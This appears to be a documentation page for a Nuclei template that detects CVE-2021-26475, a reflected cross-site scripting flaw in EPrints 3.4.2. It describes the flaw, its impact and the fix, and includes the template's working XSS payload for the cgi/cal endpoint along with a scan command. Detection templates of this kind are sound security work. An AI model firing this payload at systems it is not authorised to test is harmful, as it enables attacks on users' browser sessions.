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EPrints 3.4.2 - Cross-Site Scripting

ID: CVE-2021-26475

Severity: medium

Author: geeknik

Tags: cve2021,cve,xss,eprints,intrusive

Description

Section titled “Description”

EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.

YAML Source

Section titled “YAML Source”
id: CVE-2021-26475


info:
  name: EPrints 3.4.2 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability.
  reference:
    - https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
    - https://files.eprints.org/2548/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26475
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26475
    cwe-id: CWE-79
    epss-score: 0.00187
    epss-percentile: 0.55045
    cpe: cpe:2.3:a:eprints:eprints:3.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eprints
    product: eprints
  tags: cve2021,cve,xss,eprints,intrusive


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - </title><script>alert('{{randstr}}')</script>


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a004630440220025ca4ef51aa59f063284acef0f6109355dd7a9906186667ce97314cc85372a502202646dee2b69c1840218bc1111ab93805edb68f41ee289d07d607eb4eea00b69c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-26475.yaml"

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